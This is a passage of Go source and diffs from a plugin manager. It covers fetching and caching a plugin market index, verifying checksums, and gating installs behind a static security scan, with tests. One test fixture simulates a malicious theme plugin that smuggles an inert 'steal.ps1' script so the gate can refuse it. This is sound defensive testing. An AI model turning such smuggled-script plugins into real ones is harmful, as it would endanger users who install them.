Keyring []SigningKey
OnProgress fetch.Progress
}
// MarketClientOptions configures MarketClient.
type MarketClientOptions struct {
Layout PluginsLayout
HostVersion string
URLs []string
HTTPClient *http.Client
DownloadClient *http.Client
CacheTTL time.Duration
AllowInsecureLocalhost bool
}
// MarketClient lazily fetches, caches, searches, and installs plugins from the
// static remote market index with disk-cache + embedded fallback (§9).
type MarketClient struct {
layout PluginsLayout
hostVersion string
urls []string
httpClient *http.Client
downloadClient *http.Client
cacheTTL time.Duration
allowInsecureLocalhost bool
mu sync.RWMutex
memIndex *MarketIndex
memLoaded time.Time
}
// DefaultMarketURLs resolves market index URL(s) from REIMS_GO_PLUGIN_MARKET_URL
// or falls back to DefaultMarketIndexURL. Returning nil means offline mode.
func DefaultMarketURLs() []string {
raw := strings.TrimSpace(os.Getenv(EnvPluginMarketURL))
if raw == "" {
return []string{DefaultMarketIndexURL}
}
low := strings.ToLower(raw)
if low == "off" || low == "offline" || low == "none" || low == "0" {
return nil
}
var out []string
for _, part := range strings.Split(raw, ",") {
u := strings.TrimSpace(part)
if u != "" {
out = append(out, u)
}
}
return out
}
// NewMarketClient constructs a lazy MarketClient (performs zero network I/O until queried).
func NewMarketClient(opts MarketClientOptions) *MarketClient {
urls := opts.URLs
if urls == nil {
urls = DefaultMarketURLs()
}
ttl := opts.CacheTTL
if ttl <= 0 {
ttl = defaultMarketCacheTTL
}
hc := opts.HTTPClient
if hc == nil {
hc = &http.Client{Timeout: 20 * time.Second}
}
dc := opts.DownloadClient
if dc == nil {
dc = &http.Client{Timeout: 5 * time.Minute}
}
return &MarketClient{
layout: opts.Layout,
hostVersion: opts.HostVersion,
urls: urls,
httpClient: hc,
downloadClient: dc,
cacheTTL: ttl,
allowInsecureLocalhost: opts.AllowInsecureLocalhost,
}
}
// LoadIndex retrieves the market index using memory cache → remote mirrors →
// disk cache → embedded fallback. Network failures never wipe a valid cache.
func (c *MarketClient) LoadIndex(ctx context.Context, forceRefresh bool) (idx MarketIndex, source string, stale bool, fetchErr error) {
if !forceRefresh {
c.mu.RLock()
if c.memIndex != nil && time.Since(c.memLoaded) < c.cacheTTL {
cp := cloneMarketIndex(*c.memIndex)
c.mu.RUnlock()
return cp, "cache", false, nil
}
c.mu.RUnlock()
}
if len(c.urls) == 0 {
if disk, err := c.readDiskCache(); err == nil {
c.storeMem(disk)
return disk, "cache", false, nil
}
return cloneMarketIndex(EmbeddedFallbackMarketIndex), "fallback", false, nil
}
var errs []string
for _, u := range c.urls {
fetched, err := c.fetchRemoteIndex(ctx, u)
if err == nil {
c.storeMem(fetched)
_ = c.writeDiskCache(fetched)
return fetched, "remote", false, nil
}
errs = append(errs, fmt.Sprintf("%s: %v", u, err))
}
fetchErr = errors.New(strings.Join(errs, "; "))
// Remote failed: fall back gracefully without overwriting valid caches.
c.mu.RLock()
if c.memIndex != nil {
cp := cloneMarketIndex(*c.memIndex)
c.mu.RUnlock()
return cp, "cache", true, fetchErr
}
c.mu.RUnlock()
if disk, err := c.readDiskCache(); err == nil {
c.storeMem(disk)
return disk, "cache", true, fetchErr
}
return cloneMarketIndex(EmbeddedFallbackMarketIndex), "fallback", true, fetchErr
}
// Browse filters the market index and annotates compatibility, local install
// state, available updates, and soft-withdrawal advisories.
func (c *MarketClient) Browse(ctx context.Context, installed []PluginInfo, opts MarketBrowseOptions) MarketBrowseResult {
idx, source, stale, fetchErr := c.LoadIndex(ctx, opts.ForceRefresh)
res := MarketBrowseResult{
Source: source,
Stale: stale,
UpdatedAt: idx.UpdatedAt,
Items: []MarketCatalogItem{},
}
if fetchErr != nil {
res.FetchError = fetchErr.Error()
}
instMap := make(map[string]PluginInfo, len(installed))
for _, info := range installed {
instMap[info.ID] = info
}
withdrawnMap := make(map[string]MarketWithdrawal, len(idx.Withdrawn))
for _, w := range idx.Withdrawn {
withdrawnMap[w.ID] = w
if _, ok := instMap[w.ID]; ok {
res.WithdrawnInstalled = append(res.WithdrawnInstalled, w)
}
}
sort.Slice(res.WithdrawnInstalled, func(i, j int) bool {
return res.WithdrawnInstalled[i].ID < res.WithdrawnInstalled[j].ID
})
// Pick best eligible channel entry per plugin ID.
selected := selectChannelEntries(idx.Plugins, opts.IncludeAlpha)
q := strings.ToLower(strings.TrimSpace(opts.Query))
kindFilter := strings.ToLower(strings.TrimSpace(opts.Kind))
for _, entry := range selected {
if kindFilter != "" && !strings.EqualFold(entry.Kind, kindFilter) {
continue
}
if q != "" && !marketEntryMatchesQuery(entry, q) {
continue
}
compat, incompatReason := CheckMarketCompatibility(entry, c.hostVersion)
item := MarketCatalogItem{
Entry: entry,
Compatible: compat,
IncompatibleReason: incompatReason,
HighRiskPermissions: HighRiskPermissions(entry.Permissions),
}
if w, ok := withdrawnMap[entry.ID]; ok {
wCopy := w
item.Withdrawn = &wCopy
}
if inst, ok := instMap[entry.ID]; ok {
item.Installed = true
item.InstalledVersion = inst.Version
if isVersionNewer(entry.Version, inst.Version) {
item.UpdateAvailable = true
}
}
res.Items = append(res.Items, item)
}
sort.Slice(res.Items, func(i, j int) bool {
a, b := res.Items[i], res.Items[j]
if a.UpdateAvailable != b.UpdateAvailable {
return a.UpdateAvailable
}
ra, rb := trustSortRank(a.Entry.Trust), trustSortRank(b.Entry.Trust)
if ra != rb {
return ra > rb
}
return a.Entry.ID < b.Entry.ID
})
return res
}
// CheckUpdates returns installed plugins that have a compatible, non-withdrawn
// newer version available in the market.
func (c *MarketClient) CheckUpdates(ctx context.Context, installed []PluginInfo, includeAlpha, forceRefresh bool) ([]MarketCatalogItem, MarketBrowseResult) {
browse := c.Browse(ctx, installed, MarketBrowseOptions{
IncludeAlpha: includeAlpha,
ForceRefresh: forceRefresh,
})
var updates []MarketCatalogItem
for _, it := range browse.Items {
if it.Installed && it.UpdateAvailable && it.Compatible && it.Withdrawn == nil {
updates = append(updates, it)
}
}
return updates, browse
}
// InstallFromMarket downloads, verifies SHA-256, static-scans, and
// transactionally installs pluginID from the market index.
func (c *MarketClient) InstallFromMarket(ctx context.Context, mgr *Manager, pluginID string, opts MarketInstallOptions) (*PluginInfo, error) {
if mgr == nil {
return nil, errors.New("plugin manager is nil")
}
pluginID = strings.TrimSpace(pluginID)
if !reReverseDomainID.MatchString(pluginID) {
return nil, fmt.Errorf("invalid plugin id %q", pluginID)
}
idx, source, _, fetchErr := c.LoadIndex(ctx, opts.ForceRefresh)
if fetchErr != nil && source == "fallback" && len(idx.Plugins) == 0 {
return nil, fmt.Errorf("failed to fetch plugin market index: %w", fetchErr)
}
// Enforce soft withdrawal: refuse new installs and point to replacement.
for _, w := range idx.Withdrawn {
if w.ID == pluginID {
reason := w.Reason.Get("en-US")
if reason == "" {
reason = w.Reason.Get("zh-CN")
}
if w.InsteadID != "" {
return nil, fmt.Errorf("plugin %q has been withdrawn (%s); use %q instead", pluginID, reason, w.InsteadID)
}
return nil, fmt.Errorf("plugin %q has been withdrawn (%s)", pluginID, reason)
}
}
selected := selectChannelEntries(idx.Plugins, opts.IncludeAlpha)
entry, ok := selected[pluginID]
if !ok {
return nil, fmt.Errorf("plugin %q not found in market index", pluginID)
}
// Pre-download compatibility gate (engines + platform).
if compat, reason := CheckMarketCompatibility(entry, c.hostVersion); !compat {
return nil, fmt.Errorf("plugin %s@%s is incompatible with this host: %s", entry.ID, entry.Version, reason)
}
// Validate SHA-256 and download URL before touching the network.
wantSum := strings.ToLower(strings.TrimSpace(entry.SHA256))
if len(wantSum) != 64 {
return nil, fmt.Errorf("market entry %s@%s is missing a valid 64-char SHA-256 checksum", entry.ID, entry.Version)
}
if _, err := hex.DecodeString(wantSum); err != nil {
return nil, fmt.Errorf("market entry %s@%s has invalid SHA-256 checksum", entry.ID, entry.Version)
}
if err := c.validateDownloadURL(entry.DownloadURL); err != nil {
return nil, fmt.Errorf("market entry %s@%s has unsafe download URL: %w", entry.ID, entry.Version, err)
}
if err := os.MkdirAll(c.layout.TmpDir(), 0o755); err != nil {
return nil, err
}
archiveName := fmt.Sprintf("market-%s-%s.zip", entry.ID, entry.Version)
archivePath := filepath.Join(c.layout.TmpDir(), archiveName)
defer func() {
_ = os.Remove(archivePath)
_ = os.Remove(archivePath + ".part")
}()
if _, err := fetch.Resume(ctx, c.downloadClient, entry.DownloadURL, archivePath, entry.SizeBytes, wantSum, opts.OnProgress); err != nil {
return nil, err
}
return mgr.InstallArchiveWithSource(ctx, archivePath, SourceMarket, PackageInstallOptions{
ExpectedID: entry.ID,
ExpectedVersion: entry.Version,
HostVersion: c.hostVersion,
Keyring: opts.Keyring,
AllowUnsigned: true,
})
}
// CheckMarketCompatibility verifies platform and engines constraints before downloading.
func CheckMarketCompatibility(entry MarketEntry, hostVersion string) (bool, string) {
if len(entry.Platforms) > 0 {
cur := runtime.GOOS + "/" + runtime.GOARCH
matched := false
for _, p := range entry.Platforms {
if p == cur || p == "*" {
matched = true
break
}
}
if !matched {
return false, fmt.Sprintf("platform %s not supported (requires %s)", cur, strings.Join(entry.Platforms, ", "))
}
}
if entry.Engines.PluginAPI != "" && !MatchesRange(PluginAPIVersion, entry.Engines.PluginAPI) {
return false, fmt.Sprintf("requires pluginApi %s (host has %s)", entry.Engines.PluginAPI, PluginAPIVersion)
}
if entry.Engines.UIAPI != "" && !MatchesRange(UIAPIVersion, entry.Engines.UIAPI) {
return false, fmt.Sprintf("requires uiApi %s (host has %s)", entry.Engines.UIAPI, UIAPIVersion)
}
if hostVersion != "" && entry.Engines.ReimsGo != "" && !MatchesRange(hostVersion, entry.Engines.ReimsGo) {
return false, fmt.Sprintf("requires reims-go %s (host has %s)", entry.Engines.ReimsGo, hostVersion)
}
return true, ""
}
func (c *MarketClient) fetchRemoteIndex(ctx context.Context, rawURL string) (MarketIndex, error) {
if err := c.validateDownloadURL(rawURL); err != nil {
return MarketIndex{}, err
}
req, err := fetch.NewRequest(ctx, rawURL)
if err != nil {
return MarketIndex{}, err
}
resp, err := c.httpClient.Do(req)
if err != nil {
return MarketIndex{}, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return MarketIndex{}, fmt.Errorf("HTTP %d", resp.StatusCode)
}
data, err := io.ReadAll(io.LimitReader(resp.Body, maxMarketIndexBytes+1))
if err != nil {
return MarketIndex{}, err
}
if int64(len(data)) > maxMarketIndexBytes {
return MarketIndex{}, fmt.Errorf("market index exceeds %d byte limit", maxMarketIndexBytes)
}
var idx MarketIndex
if err := json.Unmarshal(data, &idx); err != nil {
return MarketIndex{}, fmt.Errorf("parse index JSON: %w", err)
}
if idx.Schema != 1 {
return MarketIndex{}, fmt.Errorf("unsupported market index schema %d", idx.Schema)
}
if idx.Plugins == nil {
idx.Plugins = []MarketEntry{}
}
return idx, nil
}
func (c *MarketClient) validateDownloadURL(rawURL string) error {
u, err := url.Parse(strings.TrimSpace(rawURL))
if err != nil || u.Host == "" {
return errors.New("malformed URL")
}
switch strings.ToLower(u.Scheme) {
case "https":
return nil
case "http":
if c.allowInsecureLocalhost {
host := strings.ToLower(u.Hostname())
if host == "127.0.0.1" || host == "localhost" || host == "::1" {
return nil
}
}
return errors.New("only HTTPS market URLs are permitted")
default:
return fmt.Errorf("unsupported URL scheme %q", u.Scheme)
}
}
func (c *MarketClient) storeMem(idx MarketIndex) {
cp := cloneMarketIndex(idx)
c.mu.Lock()
c.memIndex = &cp
c.memLoaded = time.Now()
c.mu.Unlock()
}
func (c *MarketClient) readDiskCache() (MarketIndex, error) {
if c.layout.Root == "" {
return MarketIndex{}, os.ErrNotExist
}
raw, err := os.ReadFile(c.layout.IndexCachePath())
if err != nil {
return MarketIndex{}, err
}
var idx MarketIndex
if err := json.Unmarshal(raw, &idx); err != nil {
return MarketIndex{}, err
}
if idx.Schema != 1 {
return MarketIndex{}, fmt.Errorf("unsupported cached schema %d", idx.Schema)
}
if idx.Plugins == nil {
idx.Plugins = []MarketEntry{}
}
return idx, nil
}
func (c *MarketClient) writeDiskCache(idx MarketIndex) error {
if c.layout.Root == "" {
return nil
}
cachePath := c.layout.IndexCachePath()
if err := os.MkdirAll(filepath.Dir(cachePath), 0o755); err != nil {
return err
}
raw, err := json.MarshalIndent(idx, "", " ")
if err != nil {
return err
}
tmp := cachePath + ".tmp"
if err := os.WriteFile(tmp, raw, 0o644); err != nil {
return err
}
return os.Rename(tmp, cachePath)
}
func selectChannelEntries(entries []MarketEntry, includeAlpha bool) map[string]MarketEntry {
out := make(map[string]MarketEntry, len(entries))
for _, e := range entries {
if e.ID == "" || e.Version == "" {
continue
}
ch := strings.ToLower(strings.TrimSpace(e.Channel))
if ch == "" {
ch = "stable"
}
if ch != "stable" && !includeAlpha {
continue
}
if prev, exists := out[e.ID]; exists {
if !isVersionNewer(e.Version, prev.Version) {
continue
}
}
e.Channel = ch
out[e.ID] = e
}
return out
}
func isVersionNewer(candidate, current string) bool {
vc, err1 := ParseSemVer(candidate)
vcur, err2 := ParseSemVer(current)
if err1 != nil || err2 != nil {
return candidate != current && candidate > current
}
return vc.Compare(vcur) > 0
}
func marketEntryMatchesQuery(e MarketEntry, q string) bool {
if strings.Contains(strings.ToLower(e.ID), q) ||
strings.Contains(strings.ToLower(e.Publisher), q) ||
strings.Contains(strings.ToLower(e.Kind), q) ||
strings.Contains(strings.ToLower(e.Name.ZhCN), q) ||
strings.Contains(strings.ToLower(e.Name.EnUS), q) ||
strings.Contains(strings.ToLower(e.Description.ZhCN), q) ||
strings.Contains(strings.ToLower(e.Description.EnUS), q) {
return true
}
for _, tag := range e.Tags {
if strings.Contains(strings.ToLower(tag), q) {
return true
}
}
return false
}
func trustSortRank(t TrustLevel) int {
switch t {
case TrustOfficial:
return 3
case TrustVerified:
return 2
case TrustCommunity:
return 1
default:
return 0
}
}
func cloneMarketIndex(idx MarketIndex) MarketIndex {
cp := MarketIndex{
Schema: idx.Schema,
UpdatedAt: idx.UpdatedAt,
Plugins: append([]MarketEntry(nil), idx.Plugins...),
Withdrawn: append([]MarketWithdrawal(nil), idx.Withdrawn...),
}
if cp.Plugins == nil {
cp.Plugins = []MarketEntry{}
}
return cp
}
+6
View File
@@ -0,0 +1,6 @@
{
"schema": 1,
"updated_at": "2026-11-30T00:00:00Z",
"plugins": [],
"withdrawn": []
}
+274
View File
@@ -0,0 +1,274 @@
package plugin_test
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"strings"
"sync/atomic"
"testing"
"time"
"github.com/Nwflower/reims-go/internal/fetch"
"github.com/Nwflower/reims-go/internal/plugin"
)
func TestMarketFetchCacheAndFallback(t *testing.T) {
var fail atomic.Bool
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if fail.Load() {
w.WriteHeader(http.StatusServiceUnavailable)
return
}
idx := plugin.MarketIndex{
Schema: 1,
UpdatedAt: "2026-11-30T00:00:00Z",
Plugins: []plugin.MarketEntry{{
ID: "community.theme.nord",
Version: "1.2.0",
Name: plugin.LocalizedText{ZhCN: "北欧主题", EnUS: "Nord Theme"},
Description: plugin.LocalizedText{EnUS: "Cool blue palette"},
Publisher: "nord",
License: "MIT",
Channel: "stable",
Kind: "theme",
Trust: plugin.TrustVerified,
DownloadURL: "https://example.invalid/nord.zip",
SHA256: strings.Repeat("a", 64),
}},
}
_ = json.NewEncoder(w).Encode(idx)
}))
defer srv.Close()
dataRoot := t.TempDir()
layout := plugin.NewPluginsLayout(dataRoot)
mc := plugin.NewMarketClient(plugin.MarketClientOptions{
Layout: layout,
HostVersion: "0.2.8",
URLs: []string{srv.URL + "/index.json"},
CacheTTL: time.Minute,
AllowInsecureLocalhost: true,
})
// 1. Fresh remote fetch succeeds and populates disk cache.
idx, src, stale, err := mc.LoadIndex(context.Background(), false)
if err != nil || src != "remote" || stale || len(idx.Plugins) != 1 {
t.Fatalf("first LoadIndex = (src=%s stale=%v len=%d err=%v)", src, stale, len(idx.Plugins), err)
}
if _, statErr := os.Stat(layout.IndexCachePath()); statErr != nil {
t.Fatalf("expected disk cache at %s: %v", layout.IndexCachePath(), statErr)
}
// 2. Second load within TTL hits memory cache cleanly.
_, src2, stale2, err2 := mc.LoadIndex(context.Background(), false)
if err2 != nil || src2 != "cache" || stale2 {
t.Fatalf("cached LoadIndex = (src=%s stale=%v err=%v)", src2, stale2, err2)
}
// 3. Server goes down + forceRefresh: must retain valid disk/mem cache with stale=true.
fail.Store(true)
mcFresh := plugin.NewMarketClient(plugin.MarketClientOptions{
Layout: layout,
HostVersion: "0.2.8",
URLs: []string{srv.URL + "/index.json"},
AllowInsecureLocalhost: true,
})
idx3, src3, stale3, err3 := mcFresh.LoadIndex(context.Background(), true)
if err3 == nil || src3 != "cache" || !stale3 || len(idx3.Plugins) != 1 {
t.Fatalf("stale fallback LoadIndex = (src=%s stale=%v len=%d err=%v)", src3, stale3, len(idx3.Plugins), err3)
}
}
func TestMarketBrowseAndInstallGates(t *testing.T) {
// Prepare valid L1 theme zip and smuggled-script L1 zip.
goodManifest, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "community.theme.mist",
Version: "1.1.0",
Name: plugin.LocalizedText{ZhCN: "薄雾主题", EnUS: "Mist Theme"},
Description: plugin.LocalizedText{EnUS: "Clean L1 theme"},
Publisher: "mist-author",
License: "MIT",
Engines: plugin.Engines{ReimsGo: ">=0.2.0", PluginAPI: "^1.0.0"},
Contributes: plugin.Contributes{
Themes: []plugin.ThemeContribution{{
ID: "community.theme.mist",
Name: plugin.LocalizedText{EnUS: "Mist"},
Stylesheet: "theme.css",
}},
},
})
goodZip := makePluginZip(t, map[string][]byte{
"plugin.json": goodManifest,
"theme.css": []byte(`.rg-p-sidebar { background: var(--surface-sidebar); }`),
}, nil, false)
goodBytes, _ := os.ReadFile(goodZip)
goodSum, _ := fetch.FileSHA256(goodZip)
evilManifest, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "community.theme.evil",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Evil Theme"},
})
evilZip := makePluginZip(t, map[string][]byte{
"plugin.json": evilManifest,
"steal.ps1": []byte(`Write-Host "boom"`),
}, nil, false)
evilBytes, _ := os.ReadFile(evilZip)
evilSum, _ := fetch.FileSHA256(evilZip)
var srvURL string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/mist.zip":
w.Header().Set("Content-Type", "application/zip")
_, _ = w.Write(goodBytes)
case "/evil.zip":
w.Header().Set("Content-Type", "application/zip")
_, _ = w.Write(evilBytes)
case "/index.json":
idx := plugin.MarketIndex{
Schema: 1,
UpdatedAt: "2026-11-30T00:00:00Z",
Plugins: []plugin.MarketEntry{
{
ID: "community.theme.mist",
Version: "1.1.0",
Name: plugin.LocalizedText{ZhCN: "薄雾主题", EnUS: "Mist Theme"},
Description: plugin.LocalizedText{EnUS: "Clean L1 theme"},
Publisher: "mist-author",
License: "MIT",
Channel: "stable",
Kind: "theme",
Tier: plugin.TierL1,
Trust: plugin.TrustCommunity,
Engines: plugin.Engines{ReimsGo: ">=0.2.0", PluginAPI: "^1.0.0"},
DownloadURL: srvURL + "/mist.zip",
SHA256: goodSum,
SizeBytes: int64(len(goodBytes)),
},
{
ID: "community.theme.mist",
Version: "1.2.0-alpha.1",
Name: plugin.LocalizedText{EnUS: "Mist Alpha"},
Channel: "alpha",
Kind: "theme",
Trust: plugin.TrustCommunity,
DownloadURL: srvURL + "/mist.zip",
SHA256: goodSum,
},
{
ID: "community.theme.incompat",
Version: "2.0.0",
Name: plugin.LocalizedText{EnUS: "Future Theme"},
Channel: "stable",
Kind: "theme",
Trust: plugin.TrustCommunity,
Engines: plugin.Engines{ReimsGo: ">=9.0.0"},
DownloadURL: srvURL + "/never-downloaded.zip",
SHA256: strings.Repeat("b", 64),
},
{
ID: "community.theme.badhash",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Bad Hash"},
Channel: "stable",
Kind: "theme",
Trust: plugin.TrustCommunity,
DownloadURL: srvURL + "/mist.zip",
SHA256: strings.Repeat("0", 64),
},
{
ID: "community.theme.evil",
Version: "1.0.0",
Name: plugin.LocalizedText{EnUS: "Evil Theme"},
Channel: "stable",
Kind: "theme",
Trust: plugin.TrustCommunity,
DownloadURL: srvURL + "/evil.zip",
SHA256: evilSum,
},
},
Withdrawn: []plugin.MarketWithdrawal{{
ID: "community.old.tool",
Reason: plugin.LocalizedText{ZhCN: "已合并进新插件", EnUS: "Merged into new plugin"},
InsteadID: "community.theme.mist",
InsteadName: "Mist Theme",
}},
}
_ = json.NewEncoder(w).Encode(idx)
default:
w.WriteHeader(http.StatusNotFound)
}
}))
defer srv.Close()
srvURL = srv.URL
dataRoot := t.TempDir()
mgr, err := plugin.NewManager(plugin.ManagerOptions{
DataRoot: dataRoot,
HostVersion: "0.2.8",
})
if err != nil {
t.Fatalf("NewManager: %v", err)
}
defer mgr.Close()
mc := plugin.NewMarketClient(plugin.MarketClientOptions{
Layout: mgr.Layout(),
HostVersion: "0.2.8",
URLs: []string{srvURL + "/index.json"},
AllowInsecureLocalhost: true,
})
// Browse stable only: should pick 1.1.0 (not 1.2.0-alpha.1) and surface WithdrawnInstalled.
res := mc.Browse(context.Background(), []plugin.PluginInfo{
{ID: "community.old.tool", Version: "0.9.0"},
{ID: "community.theme.mist", Version: "1.0.0"},
}, plugin.MarketBrowseOptions{})
if len(res.WithdrawnInstalled) != 1 || res.WithdrawnInstalled[0].InsteadID != "community.theme.mist" {
t.Fatalf("expected withdrawn installed advisory, got %+v", res.WithdrawnInstalled)
}
var mistItem *plugin.MarketCatalogItem
for i := range res.Items {
if res.Items[i].Entry.ID == "community.theme.mist" {
mistItem = &res.Items[i]
}
}
if mistItem == nil || mistItem.Entry.Version != "1.1.0" || !mistItem.UpdateAvailable || !mistItem.Compatible {
t.Fatalf("unexpected mist catalog item: %+v", mistItem)
}
// Withdrawn plugin install refused with replacement hint.
if _, err := mc.InstallFromMarket(context.Background(), mgr, "community.old.tool", plugin.MarketInstallOptions{}); err == nil || !strings.Contains(err.Error(), "withdrawn") {
t.Fatalf("expected withdrawn refusal, got: %v", err)
}
// Incompatible plugin refused BEFORE download.
if _, err := mc.InstallFromMarket(context.Background(), mgr, "community.theme.incompat", plugin.MarketInstallOptions{}); err == nil || !strings.Contains(err.Error(), "incompatible") {
t.Fatalf("expected incompatible refusal, got: %v", err)
}
// SHA-256 mismatch refused.
if _, err := mc.InstallFromMarket(context.Background(), mgr, "community.theme.badhash", plugin.MarketInstallOptions{}); err == nil || !strings.Contains(err.Error(), "SHA256 mismatch") {
t.Fatalf("expected SHA256 mismatch refusal, got: %v", err)
}
// Smuggled .ps1 in L1 zip refused by static security gate even when archive SHA-256 matches.
if _, err := mc.InstallFromMarket(context.Background(), mgr, "community.theme.evil", plugin.MarketInstallOptions{}); err == nil || !strings.Contains(err.Error(), "static security gate") {
t.Fatalf("expected static gate refusal for smuggled .ps1, got: %v", err)
}
// Valid market plugin installs cleanly with SourceMarket.
info, err := mc.InstallFromMarket(context.Background(), mgr, "community.theme.mist", plugin.MarketInstallOptions{})
if err != nil {
t.Fatalf("InstallFromMarket valid plugin: %v", err)
}
if info.ID != "community.theme.mist" || info.Version != "1.1.0" || info.Source != plugin.SourceMarket {
t.Fatalf("unexpected installed info: %+v", info)
}
}
+24 -121
View File
@@ -44,7 +44,7 @@ func containsForbiddenSMCKey(low string) bool {
return reOSKAssignment.MatchString(low)
}
// SigningKeyring maps key IDs / publishers to ed25519 public keys and trust level.
// SigningKey maps key IDs / publishers to ed25519 public keys and trust level.
type SigningKey struct {
KeyID string
Publisher string
@@ -52,36 +52,6 @@ type SigningKey struct {
PublicKey ed25519.PublicKey
}
// MarketEntry describes one plugin published in the remote/embedded market index (§9).
type MarketEntry struct {
ID string `json:"id"`
Version string `json:"version"`
Name LocalizedText `json:"name"`
Description LocalizedText `json:"description"`
Publisher string `json:"publisher"`
License string `json:"license"`
Channel string `json:"channel"` // "stable" | "alpha"
Trust TrustLevel `json:"trust"`
Engines Engines `json:"engines"`
DownloadURL string `json:"download_url"`
SHA256 string `json:"sha256"`
Signer string `json:"signer,omitempty"`
}
// MarketIndex is the static index.json structure (§9).
type MarketIndex struct {
Schema int `json:"schema"`
UpdatedAt string `json:"updated_at"`
Plugins []MarketEntry `json:"plugins"`
}
// EmbeddedFallbackMarketIndex is shipped as a zero-network fallback (§9).
var EmbeddedFallbackMarketIndex = MarketIndex{
Schema: 1,
UpdatedAt: "2026-11-29T00:00:00Z",
Plugins: []MarketEntry{},
}
// PackageInstallOptions controls optional expectations during transactional install.
type PackageInstallOptions struct {
ExpectedID string
@@ -638,6 +608,23 @@ func InstallArchive(layout PluginsLayout, archivePath string, opts PackageInstal
return nil, err
}
// Enforce unified static security & packaging hard-gate before activation.
scanRep := ScanDirectory(stageDir, opts.HostVersion, ScanOptions{
Keyring: opts.Keyring,
RequireChecksums: true,
})
if scanRep.HardBlocked {
reasons := make([]string, 0, len(scanRep.HardFindings))
for _, f := range scanRep.HardFindings {
if f.Target != "" {
reasons = append(reasons, fmt.Sprintf("[%s] %s: %s", f.Check, f.Target, f.Message))
} else {
reasons = append(reasons, fmt.Sprintf("[%s] %s", f.Check, f.Message))
}
}
return nil, fmt.Errorf("plugin package blocked by static security gate: %s", strings.Join(reasons, "; "))
}
// Atomic activation into pkgs/<id>/<version> with path-traversal guard (B3).
finalDir, err := safeJoin(layout.PkgsDir(), m.ID+"/"+m.Version)
if err != nil {
@@ -679,97 +666,13 @@ func InstallArchive(layout PluginsLayout, archivePath string, opts PackageInstal
}
// DoctorDirectory validates a plugin directory (installed or local dev link),
// checking manifest, SHA256SUMS (if present), CSS safety, and UI contract compliance (§5.1, §10).
// checking manifest, SHA256SUMS (if present), static risk rules, CSS safety,
// and UI contract compliance (§5.1, §10).
func DoctorDirectory(dir string, hostVersion string, contract *UIContract) []DoctorFinding {
var out []DoctorFinding
add := func(sev, check, msg string) {
out = append(out, DoctorFinding{Severity: sev, Check: check, Message: msg})
}
raw, err := os.ReadFile(filepath.Join(dir, "plugin.json"))
if err != nil {
add("error", "manifest", "cannot read plugin.json: "+err.Error())
return out
}
var m Manifest
if err := json.Unmarshal(raw, &m); err != nil {
add("error", "manifest", "invalid plugin.json JSON: "+err.Error())
return out
}
if err := ValidateManifest(m, hostVersion, false); err != nil {
add("error", "manifest", err.Error())
} else {
add("ok", "manifest", fmt.Sprintf("valid manifest %s@%s (tier=%s)", m.ID, m.Version, m.InferTier(false)))
}
if err := checkMarketRedlines(dir); err != nil {
add("error", "redline", err.Error())
} else {
add("ok", "redline", "no forbidden proprietary or secret files detected")
}
if sumsRaw, err := os.ReadFile(filepath.Join(dir, "SHA256SUMS")); err == nil {
if err := verifyDirSHA256Sums(dir, sumsRaw); err != nil {
add("error", "checksum", err.Error())
} else {
add("ok", "checksum", "SHA256SUMS verified")
}
} else {
add("warn", "checksum", "SHA256SUMS absent (acceptable in dev link mode; required for .zip distribution)")
}
// Validate theme manifest fields and stylesheets against safety rules and UI Contract v1 (§5.1, B5).
for _, th := range m.Contributes.Themes {
if err := ValidateThemeContribution(th, dir); err != nil {
add("error", "theme-css", err.Error())
} else if th.Stylesheet != "" {
add("ok", "theme-css", th.Stylesheet+" passed CSS safety & asset check")
}
if th.Stylesheet == "" {
continue
}
cssPath, err := safeJoin(dir, th.Stylesheet)
if err != nil {
continue
}
cssBytes, err := os.ReadFile(cssPath)
if err != nil {
continue
}
cssText := string(cssBytes)
if contract != nil {
for _, issue := range CheckCSSAgainstContract(cssText, *contract) {
add("warn", "ui-contract", issue)
}
}
}
if strings.TrimSpace(m.L10n) != "" {
if err := validatePluginL10nDir(m.L10n, dir); err != nil {
add("error", "l10n", err.Error())
} else {
add("ok", "l10n", fmt.Sprintf("plugin l10n directory %q validated", m.L10n))
}
}
if len(m.Contributes.Locales) > 0 {
if _, locFindings, cErr := CheckLocalePack(dir); cErr == nil && len(locFindings) > 0 {
for _, lf := range locFindings {
out = append(out, lf)
}
for _, lc := range m.Contributes.Locales {
if ValidateLocaleContribution(lc, dir) == nil {
add("ok", "locale", fmt.Sprintf("locale %s validated", lc.Locale))
}
}
} else {
for _, lc := range m.Contributes.Locales {
if err := ValidateLocaleContribution(lc, dir); err != nil {
add("error", "locale", err.Error())
} else {
add("ok", "locale", fmt.Sprintf("locale %s validated", lc.Locale))
}
}
}
}
return out
return ScanDirectory(dir, hostVersion, ScanOptions{
Contract: contract,
RequireChecksums: false,
}).ToDoctorFindings()
}
var (
File diff suppressed because it is too large. Load diff
+245
View File
@@ -0,0 +1,245 @@
package plugin_test
import (
"crypto/ed25519"
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/Nwflower/reims-go/internal/plugin"
)
func TestScanDirectoryCleanL1Theme(t *testing.T) {
dir := t.TempDir()
man, _ := json.Marshal(plugin.Manifest{
Schema: 1,
ID: "test.theme.clean",
Version: "1.0.0",
Name: plugin.LocalizedText{ZhCN: "纯净主题", EnUS: "Clean Theme"},
Description: plugin.LocalizedText{ZhCN: "无脚本纯样式主题", EnUS: "Pure CSS theme"},
Publisher: "tester",
License: "MIT",
Contributes: plugin.Contributes{
Themes: []plugin.ThemeContribution{{
ID: "test.theme.clean",
Name: plugin.LocalizedText{EnUS: "Clean"},
Stylesheet: "theme.css",
}},
},
})
_ = os.WriteFile(filepath.Join(dir, "plugin.json"), man, 0o644)
_ = os.WriteFile(filepath.Join(dir, "theme.css"), []byte(`.rg-p-sidebar { background: var(--surface-sidebar); }`), 0o644)
_ = os.WriteFile(filepath.Join(dir, "icon.svg"), []byte(`<svg xmlns="http://www.w3.org/2000/svg"><circle r="5"/></svg>`), 0o644)
rep := plugin.ScanDirectory(dir, "0.2.8", plugin.ScanOptions{})
